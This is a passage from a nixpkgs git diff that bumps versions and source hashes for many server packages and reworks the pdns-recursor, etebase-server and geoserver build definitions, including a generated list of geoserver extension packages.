"frontend"; - vendorHash = "sha256-yyH6McVzU0Qiod3yP5pGlF36fJQlf4g52wfDAem6KWs="; + vendorHash = "sha256-+M9Mlqck2E/ETW+NXsKwIeWlmZAaBU07fgDhKUU9PAI="; }; bird-lg-proxy = generic { modRoot = "proxy"; - vendorHash = "sha256-JfHvDIVKQ7jdPocuh6AOwSQmP+a0/hXYrt5Ap/pEjug="; + vendorHash = "sha256-nBTLQUX68f98D0RTlyX0gnvhQ+bu8d3Vv67J/YoXJxs="; }; in symlinkJoin { diff --git a/pkgs/servers/birdwatcher/default.nix b/pkgs/servers/birdwatcher/default.nix index f3b816a7a2c38..c8842e968e812 100644 --- a/pkgs/servers/birdwatcher/default.nix +++ b/pkgs/servers/birdwatcher/default.nix @@ -5,7 +5,7 @@ buildGoModule rec { pname = "birdwatcher"; - version = "2.2.4"; + version = "2.2.5"; vendorHash = "sha256-NTD2pnA/GeTn4tXtIFJ227qjRtvBFCjWYZv59Rumc74="; @@ -13,7 +13,7 @@ buildGoModule rec { owner = "alice-lg"; repo = "birdwatcher"; rev = version; - hash = "sha256-nsmwq7aUcozpp3av38S9wTKv0kiGfmyglQgse9MWSl4="; + hash = "sha256-TTU5TYWD/KSh/orDdQnNrQJ/G7z5suBu7psF9V6AAIw="; }; deleteVendor = true; diff --git a/pkgs/servers/bloat/default.nix b/pkgs/servers/bloat/default.nix index 3752b167188fc..dfde129e88870 100644 --- a/pkgs/servers/bloat/default.nix +++ b/pkgs/servers/bloat/default.nix @@ -6,12 +6,12 @@ buildGoModule { pname = "bloat"; - version = "unstable-2023-12-28"; + version = "unstable-2024-02-12"; src = fetchgit { url = "git://git.freesoftwareextremist.com/bloat"; - rev = "1d61f1aa27376e778b7a517fdd5739a8c1976d2e"; - hash = "sha256-u75COa68sKhWeR3asQGgu2thQmDDGpJPmXLgnesQfNc="; + rev = "6ddec8db3ee73d3abdc85b6a2101020cf2455bce"; + hash = "sha256-NWi8vL1zyKgPlZo73qpR232r65foaYcjUKkVwyJ/C7c="; }; vendorHash = null; diff --git a/pkgs/servers/computing/slurm/default.nix b/pkgs/servers/computing/slurm/default.nix index d3ef5324db865..6a1afcf4adda0 100644 --- a/pkgs/servers/computing/slurm/default.nix +++ b/pkgs/servers/computing/slurm/default.nix @@ -14,7 +14,7 @@ stdenv.mkDerivation rec { pname = "slurm"; - version = "23.11.3.1"; + version = "23.11.4.1"; # N.B. We use github release tags instead of https://www.schedmd.com/downloads.php # because the latter does not keep older releases. @@ -23,7 +23,7 @@ stdenv.mkDerivation rec { repo = "slurm"; # The release tags use - instead of . rev = "${pname}-${builtins.replaceStrings ["."] ["-"] version}"; - hash = "sha256-fSw7LaIEyExsdVgJ9pfWEBhnBUsczdJl0coEPDdKVzA="; + hash = "sha256-oUkFLw1vgPubsA2htzsJ5SfsL7UA6J0ufwjl7vWoX+s="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/servers/confluent-platform/default.nix b/pkgs/servers/confluent-platform/default.nix index 2c4e1c5d4f474..5bc010663b0c0 100644 --- a/pkgs/servers/confluent-platform/default.nix +++ b/pkgs/servers/confluent-platform/default.nix @@ -10,11 +10,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "confluent-platform"; - version = "7.5.0"; + version = "7.6.0"; src = fetchurl { url = "https://packages.confluent.io/archive/${lib.versions.majorMinor finalAttrs.version}/confluent-${finalAttrs.version}.tar.gz"; - hash = "sha256-HaK3Do6oRGm6ovvNNGvZE34rYNRQnrmt1GKglTSZ9ls="; + hash = "sha256-bHT8VWSUqxiM/g7opRXZmEOAs2d61dWBTtuwwlzPgBc="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/consul/default.nix b/pkgs/servers/consul/default.nix index 3da8b8352b68b..7b29967c91b12 100644 --- a/pkgs/servers/consul/default.nix +++ b/pkgs/servers/consul/default.nix @@ -2,7 +2,7 @@ buildGoModule rec { pname = "consul"; - version = "1.17.3"; + version = "1.18.0"; # Note: Currently only release tags are supported, because they have the Consul UI # vendored. See @@ -16,7 +16,7 @@ buildGoModule rec { owner = "hashicorp"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-uJN28p2fPQBBkqnlUWrlBwTNfmHr3Pn/4JiMbOBBppI="; + hash = "sha256-Xhh6Rrcv/FoBjzhWR59gQ/R4A3ynqWYS8djNe3CnGCE="; }; passthru.tests.consul = nixosTests.consul; @@ -25,7 +25,7 @@ buildGoModule rec { # has a split module structure in one repo subPackages = ["." "connect/certgen"]; - vendorHash = "sha256-ToSCLAX+rNcUTnBBVWkWhLX+wjy7Y4vGLKuny1Ye3kY="; + vendorHash = "sha256-pNFjLXjtgsK8fjCCmjYclZw1GM4BfyzkTuaRCRIMJ3c="; doCheck = false; diff --git a/pkgs/servers/dcnnt/default.nix b/pkgs/servers/dcnnt/default.nix index 6c55a28ae1783..2279c9f116b13 100644 --- a/pkgs/servers/dcnnt/default.nix +++ b/pkgs/servers/dcnnt/default.nix @@ -2,11 +2,11 @@ buildPythonApplication rec { pname = "dcnnt"; - version = "0.9.2"; + version = "0.10.0"; src = fetchPypi { inherit pname version; - sha256 = "sha256-mPZlQllIU4fkGtmnhK7ovc8CrAxUcgF0KgO7/fQBrkk="; + sha256 = "sha256-73ZLgb5YcXlAOjbKLVv8oqgS6pstBdJxa7LFUgIHpUE="; }; propagatedBuildInputs = [ diff --git a/pkgs/servers/dns/bind/default.nix b/pkgs/servers/dns/bind/default.nix index 8edd94fb27ada..1046ead01ad00 100644 --- a/pkgs/servers/dns/bind/default.nix +++ b/pkgs/servers/dns/bind/default.nix @@ -24,11 +24,11 @@ stdenv.mkDerivation rec { pname = "bind"; - version = "9.18.21"; + version = "9.18.24"; src = fetchurl { url = "https://downloads.isc.org/isc/bind9/${version}/${pname}-${version}.tar.xz"; - hash = "sha256-pVa+IlBdnqT5xnF67pxUlznGhJiv88ppA1eH7MZI/sU="; + hash = "sha256-cJ1zAjyRFd2tO6tltsjHmlkBltDRFPXQyiUz29Ut32Y="; }; outputs = [ "out" "lib" "dev" "man" "dnsutils" "host" ]; @@ -91,6 +91,9 @@ stdenv.mkDerivation rec { preCheck = lib.optionalString stdenv.hostPlatform.isMusl '' # musl doesn't respect TZDIR, skip timezone-related tests sed -i '/^ISC_TEST_ENTRY(isc_time_formatISO8601L/d' tests/isc/time_test.c + '' + lib.optionalString stdenv.hostPlatform.isDarwin '' + # Test timeouts on Darwin + sed -i '/^ISC_TEST_ENTRY(tcpdns_recv_one/d' tests/isc/netmgr_test.c ''; passthru = { diff --git a/pkgs/servers/dns/knot-dns/default.nix b/pkgs/servers/dns/knot-dns/default.nix index 9e73c026b3f10..d939f4e375edf 100644 --- a/pkgs/servers/dns/knot-dns/default.nix +++ b/pkgs/servers/dns/knot-dns/default.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation rec { pname = "knot-dns"; - version = "3.3.4"; + version = "3.3.5"; src = fetchurl { url = "https://secure.nic.cz/files/knot-dns/knot-${version}.tar.xz"; - sha256 = "2a771b43ce96b6b48d53b29f2086528732e6ac067bc71a3be934f859d1302fc0"; + sha256 = "0e0bf04319581280660e8e62ab04be64a7d632331e40fc9c87e76861305db3ad"; }; outputs = [ "bin" "out" "dev" ]; diff --git a/pkgs/servers/dns/pdns-recursor/default.nix b/pkgs/servers/dns/pdns-recursor/default.nix index 5ff385cf65acb..e691336d52a91 100644 --- a/pkgs/servers/dns/pdns-recursor/default.nix +++ b/pkgs/servers/dns/pdns-recursor/default.nix @@ -1,26 +1,46 @@ { lib, stdenv, fetchurl, pkg-config, boost, nixosTests , openssl, systemd, lua, luajit, protobuf +, libsodium +, curl +, rustPlatform, cargo, rustc , enableProtoBuf ? false }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "pdns-recursor"; - version = "4.9.2"; + version = "5.0.2"; src = fetchurl { - url = "https://downloads.powerdns.com/releases/pdns-recursor-${version}.tar.bz2"; - sha256 = "sha256-TLgYBFjs+1KKPZo0uihEts0u1pyhxGHd4koOvWaCkUQ="; + url = "https://downloads.powerdns.com/releases/pdns-recursor-${finalAttrs.version}.tar.bz2"; + hash = "sha256-qQ6LYf3BgbWWFEw1kgEYynHDuV9GZYzOfoIidQ3kXKk="; }; - nativeBuildInputs = [ pkg-config ]; + cargoDeps = rustPlatform.fetchCargoTarball { + inherit (finalAttrs) src; + sourceRoot = "pdns-recursor-${finalAttrs.version}/settings/rust"; + hash = "sha256-XHzuYkO91TJNU2DYqMlafqrc2zR1WvIrNLjFHL2FcwA="; + }; + + cargoRoot = "settings/rust"; + + nativeBuildInputs = [ + cargo + rustc + + rustPlatform.cargoSetupHook + pkg-config + ]; buildInputs = [ boost openssl systemd lua luajit + libsodium + curl ] ++ lib.optional enableProtoBuf protobuf; configureFlags = [ "--enable-reproducible" "--enable-systemd" + "--enable-dns-over-tls" "sysconfdir=/etc/pdns-recursor" ]; @@ -42,4 +62,4 @@ stdenv.mkDerivation rec { license = licenses.gpl2Only; maintainers = with maintainers; [ rnhmjoj ]; }; -} +}) diff --git a/pkgs/servers/etcd/3.5.nix b/pkgs/servers/etcd/3.5.nix index f02533ea9a144..530df4476ecbf 100644 --- a/pkgs/servers/etcd/3.5.nix +++ b/pkgs/servers/etcd/3.5.nix @@ -1,4 +1,4 @@ -{ lib, buildGoModule, fetchFromGitHub, symlinkJoin, nixosTests }: +{ lib, buildGoModule, fetchFromGitHub, symlinkJoin, nixosTests, k3s }: let version = "3.5.12"; @@ -67,7 +67,10 @@ symlinkJoin { passthru = { inherit etcdserver etcdutl etcdctl; - tests = { inherit (nixosTests) etcd etcd-cluster; }; + tests = { + inherit (nixosTests) etcd etcd-cluster; + k3s = k3s.passthru.tests.etcd; + }; }; paths = [ diff --git a/pkgs/servers/etebase/default.nix b/pkgs/servers/etebase/default.nix index f397b78eca0bf..2a8233e5e0dcf 100644 --- a/pkgs/servers/etebase/default.nix +++ b/pkgs/servers/etebase/default.nix @@ -1,24 +1,22 @@ { lib , fetchFromGitHub -, buildPythonPackage -, aiofiles -, django_3 -, fastapi -, msgpack -, pynacl -, redis -, typing-extensions , withLdap ? true -, python-ldap +, python3 , withPostgres ? true -, psycopg2 , nix-update-script +, nixosTests }: -buildPythonPackage rec { +let + python = python3.override { + packageOverrides = self: super: { + pydantic = super.pydantic_1; + }; + }; +in +python.pkgs.buildPythonPackage rec { pname = "etebase-server"; version = "0.11.0"; - format = "other"; src = fetchFromGitHub { owner = "etesync"; @@ -29,32 +27,46 @@ buildPythonPackage rec { patches = [ ./secret.patch ]; - propagatedBuildInputs = [ + doCheck = false; + + propagatedBuildInputs = with python.pkgs; [ aiofiles django_3 fastapi msgpack pynacl redis + uvicorn + websockets + watchfiles + uvloop + pyyaml + python-dotenv + httptools typing-extensions ] ++ lib.optional withLdap python-ldap ++ lib.optional withPostgres psycopg2; - installPhase = '' + postInstall = '' mkdir -p $out/bin $out/lib - cp -r . $out/lib/etebase-server - ln -s $out/lib/etebase-server/manage.py $out/bin/etebase-server + cp manage.py $out/bin/etebase-server wrapProgram $out/bin/etebase-server --prefix PYTHONPATH : "$PYTHONPATH" chmod +x $out/bin/etebase-server ''; passthru.updateScript = nix-update-script {}; + passthru.python = python; + # PYTHONPATH of all dependencies used by the package + passthru.pythonPath = python.pkgs.makePythonPath propagatedBuildInputs; + passthru.tests = { + nixosTest = nixosTests.etebase-server; + }; meta = with lib; { homepage = "https://github.com/etesync/server"; description = "An Etebase (EteSync 2.0) server so you can run your own"; changelog = "https://github.com/etesync/server/blob/${version}/ChangeLog.md"; license = licenses.agpl3Only; - maintainers = with maintainers; [ felschr ]; + maintainers = with maintainers; [ felschr phaer ]; }; } diff --git a/pkgs/servers/foundationdb/cmake.nix b/pkgs/servers/foundationdb/cmake.nix index 337d671275ada..bc0a17166631d 100644 --- a/pkgs/servers/foundationdb/cmake.nix +++ b/pkgs/servers/foundationdb/cmake.nix @@ -2,7 +2,7 @@ { lib, fetchFromGitHub , cmake, ninja, python3, openjdk8, mono, pkg-config -, msgpack, toml11 +, msgpack-cxx, toml11 , gccStdenv, llvmPackages , useClang ? false @@ -37,7 +37,7 @@ let inherit rev hash; }; - buildInputs = [ ssl boost msgpack toml11 ]; + buildInputs = [ ssl boost msgpack-cxx toml11 ]; nativeBuildInputs = [ pkg-config cmake ninja python3 openjdk8 mono ] ++ lib.optionals useClang [ llvmPackages.lld ]; diff --git a/pkgs/servers/foundationdb/default.nix b/pkgs/servers/foundationdb/default.nix index b9157dda9e3e7..966069e6ed6e1 100644 --- a/pkgs/servers/foundationdb/default.nix +++ b/pkgs/servers/foundationdb/default.nix @@ -1,8 +1,8 @@ { gccStdenv, llvmPackages -, lib, fetchFromGitHub +, lib, fetchFromGitHub, fetchpatch , cmake, ninja, python3, openjdk8, mono, openssl, boost178 -, pkg-config, msgpack, toml11 +, pkg-config, msgpack-cxx, toml11 }@args: let @@ -19,6 +19,12 @@ in { ./patches/don-t-run-tests-requiring-doctest.patch ./patches/don-t-use-static-boost-libs.patch ./patches/fix-open-with-O_CREAT.patch + # GetMsgpack: add 4+ versions of upstream + # https://github.com/apple/foundationdb/pull/10935 + (fetchpatch { + url = "https://github.com/apple/foundationdb/commit/c35a23d3f6b65698c3b888d76de2d93a725bff9c.patch"; + hash = "sha256-bneRoZvCzJp0Hp/G0SzAyUyuDrWErSpzv+ickZQJR5w="; + }) ]; }; } diff --git a/pkgs/servers/geospatial/fit-trackee/default.nix b/pkgs/servers/geospatial/fit-trackee/default.nix index 0e7377f1258c5..b2f7846495991 100644 --- a/pkgs/servers/geospatial/fit-trackee/default.nix +++ b/pkgs/servers/geospatial/fit-trackee/default.nix @@ -25,19 +25,22 @@ let in python.pkgs.buildPythonApplication rec { pname = "fit-trackee"; - version = "0.7.29"; + version = "0.7.31"; format = "pyproject"; src = fetchFromGitHub { owner = "SamR1"; repo = "FitTrackee"; rev = "v${version}"; - hash = "sha256-NWWQ+lPUMaeF3UPglllaLGJnNgF54SXo4DcF3VAQbO4="; + hash = "sha256-qKUdpuxslhS6k9EiWvbU/0hSXH1y9mjhXs02pugTF3g="; }; postPatch = '' - substituteInPlace pyproject.toml --replace psycopg2-binary psycopg2 \ - --replace 'flask = "^3.0.0"' 'flask = "*"' + substituteInPlace pyproject.toml \ + --replace-fail psycopg2-binary psycopg2 \ + --replace-fail 'flask = "^3.0.2"' 'flask = "*"' \ + --replace-fail 'pyopenssl = "^24.0.0"' 'pyopenssl = "*"' \ + --replace-fail 'sqlalchemy = "=1.4.51"' 'sqlalchemy = "*"' ''; nativeBuildInputs = [ diff --git a/pkgs/servers/geospatial/geoserver/default.nix b/pkgs/servers/geospatial/geoserver/default.nix index a58a3bb717e1c..1ad28bfd5d1e7 100644 --- a/pkgs/servers/geospatial/geoserver/default.nix +++ b/pkgs/servers/geospatial/geoserver/default.nix @@ -1,14 +1,13 @@ { lib +, callPackage , fetchurl , makeWrapper , nixosTests , stdenv - , jre , unzip }: - -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: rec { pname = "geoserver"; version = "2.24.2"; @@ -25,24 +24,55 @@ stdenv.mkDerivation rec { sourceRoot = "."; nativeBuildInputs = [ unzip makeWrapper ]; - installPhase = '' - runHook preInstall - mkdir -p $out/share/geoserver - cp -r . $out/share/geoserver - rm -fr $out/share/geoserver/bin/*.bat - - makeWrapper $out/share/geoserver/bin/startup.sh $out/bin/geoserver-startup \ - --set JAVA_HOME "${jre}" \ - --set GEOSERVER_HOME "$out/share/geoserver" - makeWrapper $out/share/geoserver/bin/shutdown.sh $out/bin/geoserver-shutdown \ - --set JAVA_HOME "${jre}" \ - --set GEOSERVER_HOME "$out/share/geoserver" - runHook postInstall - ''; - - passthru = { - tests.geoserver = nixosTests.geoserver; - }; + installPhase = + let + inputs = finalAttrs.buildInputs or [ ]; + ldLibraryPathEnvName = if stdenv.isDarwin then "DYLD_LIBRARY_PATH" else "LD_LIBRARY_PATH"; + in + '' + runHook preInstall + mkdir -p $out/share/geoserver + cp -r . $out/share/geoserver + rm -fr $out/share/geoserver/bin/*.bat + + makeWrapper $out/share/geoserver/bin/startup.sh $out/bin/geoserver-startup \ + --prefix PATH : "${lib.makeBinPath inputs}" \ + --prefix ${ldLibraryPathEnvName} : "${lib.makeLibraryPath inputs}" \ + --set JAVA_HOME "${jre}" \ + --set GEOSERVER_HOME "$out/share/geoserver" + makeWrapper $out/share/geoserver/bin/shutdown.sh $out/bin/geoserver-shutdown \ + --prefix PATH : "${lib.makeBinPath inputs}" \ + --prefix ${ldLibraryPathEnvName} : "${lib.makeLibraryPath inputs}" \ + --set JAVA_HOME "${jre}" \ + --set GEOSERVER_HOME "$out/share/geoserver" + runHook postInstall + ''; + + + passthru = + let + geoserver = finalAttrs.finalPackage; + extensions = lib.attrsets.filterAttrs (n: v: lib.isDerivation v) (callPackage ./extensions.nix { }); + in + { + withExtensions = selector: + let + selectedExtensions = selector extensions; + in + geoserver.overrideAttrs (finalAttrs: previousAttrs: { + pname = previousAttrs.pname + "-with-extensions"; + buildInputs = lib.lists.unique ((previousAttrs.buildInputs or [ ]) ++ lib.lists.concatMap (drv: drv.buildInputs) selectedExtensions); + postInstall = (previousAttrs.postInstall or "") + '' + for extension in ${builtins.toString selectedExtensions} ; do + cp -r $extension/* $out + # Some files are the same for all/several extensions. We allow overwriting them again. + chmod -R +w $out + done + ''; + }); + tests.geoserver = nixosTests.geoserver; + passthru.updateScript = ./update.sh; + }; meta = with lib; { description = "Open source server for sharing geospatial data"; @@ -52,4 +82,4 @@ stdenv.mkDerivation rec { maintainers = teams.geospatial.members; platforms = platforms.all; }; -} +}) diff --git a/pkgs/servers/geospatial/geoserver/extensions.nix b/pkgs/servers/geospatial/geoserver/extensions.nix new file mode 100644 index 0000000000000..d3e2da57ef6ef --- /dev/null +++ b/pkgs/servers/geospatial/geoserver/extensions.nix @@ -0,0 +1,353 @@ +# DO *NOT* MODIFY THE LINES CONTAINING "hash = ..." OR "version = ...". +# THEY ARE GENERATED. SEE ./update.sh. +{ fetchzip, libjpeg, netcdf, pkgs, stdenv }: + +let + mkGeoserverExtension = { name, version, hash, buildInputs ? [ ] }: stdenv.mkDerivation { + pname = "geoserver-${name}-extension"; + inherit buildInputs version; + + src = fetchzip { + url = "mirror://sourceforge/geoserver/GeoServer/${version}/extensions/geoserver-${version}-${name}-plugin.zip"; + inherit hash; + # We expect several files. + stripRoot = false; + }; + + installPhase = '' + runHook preInstall + + DIR=$out/share/geoserver/webapps/geoserver/WEB-INF/lib + mkdir -p $DIR + cp -r $src/* $DIR + + runHook postInstall + ''; + }; +in + +{ + app-schema = mkGeoserverExtension { + name = "app-schema"; + version = "2.24.2"; # app-schema + hash = "sha256-nwZ+gZZ38nrKmIqe2Wjg8rkh9cq6TFaxjkwS/lw8720="; # app-schema + }; + + authkey = mkGeoserverExtension { + name = "authkey"; + version = "2.24.2"; # authkey + hash = "sha256-R2dL1xAw7PZTAp7asoulfOPWodRD7TnOu8mnSrwxL8I="; # authkey + }; + + cas = mkGeoserverExtension { + name = "cas"; + version = "2.24.2"; # cas + hash = "sha256-oTM+ipYuIefxVFUG7ifNE08GkYbuHkt83PtrOHRw40w="; # cas + }; + + charts = mkGeoserverExtension { + name = "charts"; + version = "2.24.2"; # charts + hash = "sha256-w9e8Ra0iuhtQ45De1T3wztis6ZLey5LuhpmCadbpCp4="; # charts + }; + + control-flow = mkGeoserverExtension { + name = "control-flow"; + version = "2.24.2"; # control-flow + hash = "sha256-XY9YwiMgEay/GhLt6IJQ0gdiVxA0abg/qrnYNW3wiO8="; # control-flow + }; + + css = mkGeoserverExtension { + name = "css"; + version = "2.24.2"; # css + hash = "sha256-GDoRcM8Nx3fZuWgzIHM1vSXLMaCJO3j7/cDmRl7BS2U="; # css + }; + + csw = mkGeoserverExtension { + name = "csw"; + version = "2.24.2"; # csw + hash = "sha256-Ir/ebw87DV1zSLJIN3sMEwMAqfD9rZ3oKvAM62BNWcE="; # csw + }; + + csw-iso = mkGeoserverExtension { + name = "csw-iso"; + version = "2.24.2"; # csw-iso + hash = "sha256-j0rVy5JRwGTs+8esOpMPc79ICccwwtD47vOFsunZAkE="; # csw-iso + }; + + db2 = mkGeoserverExtension { + name = "db2"; + version = "2.24.2"; # db2 + hash = "sha256-LKOAdKU+0TJdaxUbluXcxzgJw2fvhkqVjYs+d2c84uk="; # db2 + }; + + # Needs wps extension. + dxf = mkGeoserverExtension { + name = "dxf"; + version = "2.24.2"; # dxf + hash = "sha256-Et4nCPH6xUChfKRZ35u3/VduEQwCOKeKQXVZZcgJRWc="; # dxf + }; + + excel = mkGeoserverExtension { + name = "excel"; + version = "2.24.2"; # excel + hash = "sha256-Nm4mayt8ofwpiRD5FDbsubrHIzfaOBW+Nv8wUVaIPws="; # excel + }; + + feature-pregeneralized = mkGeoserverExtension { + name = "feature-pregeneralized"; + version = "2.24.2"; # feature-pregeneralized + hash = "sha256-56HA4L1Vfh5Q45lRhjsYfq816YYNkJLmovngF0+3Vbk="; # feature-pregeneralized + }; + + # Note: The extension name ("gdal") clashes with pkgs.gdal. + gdal = mkGeoserverExtension { + name = "gdal"; + version = "2.24.2"; # gdal + buildInputs = [ pkgs.gdal ]; + hash = "sha256-KLIlEUmYUIXAikW+y3iQzGZPpW0N+9FuPTst23Nf9Y4="; # gdal + }; + + # Throws "java.io.FileNotFoundException: URL [jar:file:/nix/store/.../WEB-INF/lib/gs-geofence-server-2.24.1.jar!/geofence-default-override.properties] cannot be resolved to absolute file path because it does not reside in the file system: jar:file:/nix/store/.../WEB-INF/lib/gs-geofence-server-2.24.1.jar!/geofence-default-override.properties" but seems to work out of the box. + #geofence = mkGeoserverExtension { + # name = "geofence"; + # version = "2.24.2"; # geofence + # hash = "sha256-5MRUKiC23/XlFr7X4zpsAoDR4JGtZujFnUmtcRlG+9w="; # geofence + #}; + + #geofence-server = mkGeoserverExtension { + # name = "geofence-server"; + # version = "2.24.2"; # geofence-server + # hash = "sha256-MyDQSb7IZ8cTpO9+rV0PdZNHRvIDIr04+HNhyMpx81I="; # geofence-server + #}; + + #geofence-wps = mkGeoserverExtension { + # name = "geofence-wps"; + # version = "2.24.2"; # geofence-wps + # hash = "sha256-uLii8U3UAiF/MQjABBAfHbnXTlf+iYsEOy4kadqc6+k="; # geofence-wps + #}; + + geopkg-output = mkGeoserverExtension { + name = "geopkg-output"; + version = "2.24.2"; # geopkg-output + hash = "sha256-NzsozGYoGOoekX+wY0d5d8I0JefHgSDb/HuEPzwX+YE="; # geopkg-output + }; + + grib = mkGeoserverExtension { + name = "grib"; + version = "2.24.2"; # grib + hash = "sha256-9i+aqQM4GnRXfIjg2R2/NkkQAF9YxNRfbMp7mGO4BgE="; # grib + buildInputs = [ netcdf ]; + }; + + gwc-s3 = mkGeoserverExtension { + name = "gwc-s3"; + version = "2.24.2"; # gwc-s3 + hash = "sha256-fesKzbSnNHxgjwuXghLBJhUkvM2HeCOZY9V0AAiZVWk="; # gwc-s3 + }; + + h2 = mkGeoserverExtension { + name = "h2"; + version = "2.24.2"; # h2 + hash = "sha256-cMPdNh7Bp7aiAAiuB5E8dDWCuUkd89xQXJbvoYN5Oyk="; # h2 + }; + + iau = mkGeoserverExtension { + name = "iau"; + version = "2.24.2"; # iau + hash = "sha256-yIqw1ur2e3haPMXGOFgFdNLguzhMMytcg9aweaBFq5U="; # iau + }; + + importer = mkGeoserverExtension { + name = "importer"; + version = "2.24.2"; # importer + hash = "sha256-/u5m4ljr7kEnRl9sOuYcS8913uPzJjDCXmRiWh7YS2c="; # importer + }; + + inspire = mkGeoserverExtension { + name = "inspire"; + version = "2.24.2"; # inspire + hash = "sha256-3N1LUEu2q3Vy2verkJd9Fiem8V9W0KvsnSTwooO0M6E="; # inspire + }; + + # Needs Kakadu plugin from + # https://github.com/geosolutions-it/imageio-ext + #jp2k = mkGeoserverExtension { + # name = "jp2k"; + # version = "2.24.2"; # jp2k + # hash = "sha256-ZjPDCMzaXegrzmbI9vwjTt0Osbjjl/31sffU65PPJ3k="; # jp2k + #}; + + libjpeg-turbo = mkGeoserverExtension { + name = "libjpeg-turbo"; + version = "2.24.2"; # libjpeg-turbo + hash = "sha256-aPKXE8STYG0h5OtxrOoTvXagUCBmb7nmEV8ckLRq6GM="; # libjpeg-turbo + buildInputs = [ libjpeg.out ]; + }; + + mapml = mkGeoserverExtension { + name = "mapml"; + version = "2.24.2"; # mapml + hash = "sha256-vjNoLZEM2CMmxL2JPO0r9PColReWmFdVjMkDxbyrSGg="; # mapml + }; + + mbstyle = mkGeoserverExtension { + name = "mbstyle"; + version = "2.24.2"; # mbstyle + hash = "sha256-zvfoAoVT8hXUETn/GkceP8vLSA8iNUXivXjQUyIJDEs="; # mbstyle + }; + + metadata = mkGeoserverExtension { + name = "metadata"; + version = "2.24.2"; # metadata + hash = "sha256-A6Gai/ExL9FSUQOuUwxqpRcaVtn4H1VwBaAKXMNm6Fg="; # metadata + }; + + mongodb = mkGeoserverExtension { + name = "mongodb"; + version = "2.24.2"; # mongodb + hash = "sha256-R9dp/uOIX7KBp4c2676NXQupqoRahxKkufjCr6sQaA0="; # mongodb + }; + + monitor = mkGeoserverExtension { + name = "monitor"; + version = "2.24.2"; # monitor + hash = "sha256-IB9/4755ePtL/CWIOd28dOyBG6cmddQnhZKVQMQFeIE="; # monitor + }; + + mysql = mkGeoserverExtension { + name = "mysql"; + version = "2.24.2"; # mysql + hash = "sha256-8y3N7+KgA9R5JIw1YuHmTmzK6H2c56469KUTrRpqP4g="; # mysql + }; + + netcdf = mkGeoserverExtension { + name = "netcdf"; + version = "2.24.2"; # netcdf + hash = "sha256-uAhJTCKn/00zDUGtgyYd1v8KxXj1N+vAAosBjQG3rBk="; # netcdf + buildInputs = [ netcdf ]; + }; + + netcdf-out = mkGeoserverExtension { + name = "netcdf-out"; + version = "2.24.2"; # netcdf-out + hash = "sha256-wMFx+BnEcLy1x9j0K+du7hG9wC+EzA4E4AVjIsyXO3A="; # netcdf-out + buildInputs = [ netcdf ]; + }; + + ogr-wfs = mkGeoserverExtension { + name = "ogr-wfs"; + version = "2.24.2"; # ogr-wfs + buildInputs = [ pkgs.gdal ]; + hash = "sha256-jMnc0OnrKHFegEIPtyAG92fC8cLa/X1UUdTmeDyUxSI="; # ogr-wfs + }; + + # Needs ogr-wfs extension. + ogr-wps = mkGeoserverExtension { + name = "ogr-wps"; + version = "2.24.2"; # ogr-wps + # buildInputs = [ pkgs.gdal ]; + hash = "sha256-O0MKOCEV5AjYUg4LL0UAV0KBHg1alOK7WEdEyikqpTs="; # ogr-wps + }; + + oracle = mkGeoserverExtension { + name = "oracle"; + version = "2.24.2"; # oracle + hash = "sha256-OIvwpGt/9jtKAeP7LK/hTZDVbKQnjVGTXDy5q/zVU2k="; # oracle + }; + + params-extractor = mkGeoserverExtension { + name = "params-extractor"; + version = "2.24.2"; # params-extractor + hash = "sha256-z6hMGCHB0I3DS05NvdSmVMfPKNA/1jhx8Mmb6odL6RU="; # params-extractor + }; + + printing = mkGeoserverExtension { + name = "printing"; + version = "2.24.2"; # printing + hash = "sha256-nDkT9x6Va5SNSf8x7OEu7NqQ6qFSJhPavg6eUo5D4HA="; # printing + }; + + pyramid = mkGeoserverExtension { + name = "pyramid"; + version = "2.24.2"; # pyramid + hash = "sha256-HM2ItB34+CHNzhoH3X3Kh1iVNMb+AimvdHrgHHh5SJc="; # pyramid + }; + + querylayer = mkGeoserverExtension { + name = "querylayer"; + version = "2.24.2"; # querylayer + hash = "sha256-7WtAsisMJBpRZqU0nfr4orp36uBmnvat2+DlbnGCjVg="; # querylayer + }; + + sldservice = mkGeoserverExtension { + name = "sldservice"; + version = "2.24.2"; # sldservice + hash = "sha256-m3QJP/u6HZmO0p8d++8EKXXxtkbMDmBFFCzBPctPV5A="; # sldservice + }; + + sqlserver = mkGeoserverExtension { + name = "sqlserver"; + version = "2.24.2"; # sqlserver + hash = "sha256-ZwsO1Yxb3OWCLtYI30l3jnMrAbPI7v0XTGcasJPN1Y8="; # sqlserver + }; + + vectortiles = mkGeoserverExtension { + name = "vectortiles"; + version = "2.24.2"; # vectortiles + hash = "sha256-fQ9qSIHplxt57n45w4MN4e5AFdU8nmtvQ/vTeL/cdzQ="; # vectortiles + }; + + wcs2_0-eo = mkGeoserverExtension { + name = "wcs2_0-eo"; + version = "2.24.2"; # wcs2_0-eo + hash = "sha256-q0cXVjOBmX4vYwzf+3LjsYf9rPAIeCxnOZZadfNlLF0="; # wcs2_0-eo + }; + + web-resource = mkGeoserverExtension { + name = "web-resource"; + version = "2.24.2"; # web-resource + hash = "sha256-v/SnNV6JnWPoYUSFowXFDDuhjZC8b1iPtDeMG8mWqG4="; # web-resource + }; + + wmts-multi-dimensional = mkGeoserverExtension { + name = "wmts-multi-dimensional"; + version = "2.24.2"; # wmts-multi-dimensional + hash = "sha256-ASSGBqTpq9Tk1R3oBTBoi6L1tsXIJpJyez3LXBPmjd8="; # wmts-multi-dimensional + }; + + wps = mkGeoserverExtension { + name = "wps"; + version = "2.24.2"; # wps + hash = "sha256-KJa0yWqO/qyY59U9NMK5/V4EskIqEbe9XnSvGRvODHU="; # wps + }; + + # Needs hazelcast (https://github.com/hazelcast/hazelcast (?)) which is not + # available in nixpgs as of 2024/01. + #wps-cluster-hazelcast = mkGeoserverExtension { + # name = "wps-cluster-hazelcast"; + # version = "2.24.2"; # wps-cluster-hazelcast + # hash = "sha256-PQcX3AVJy3DluAL4b5vcWvLl0fYLBq+F8cKsvJ/WOyE="; # wps-cluster-hazelcast + #}; + + wps-download = mkGeoserverExtension { + name = "wps-download"; + version = "2.24.2"; # wps-download + hash = 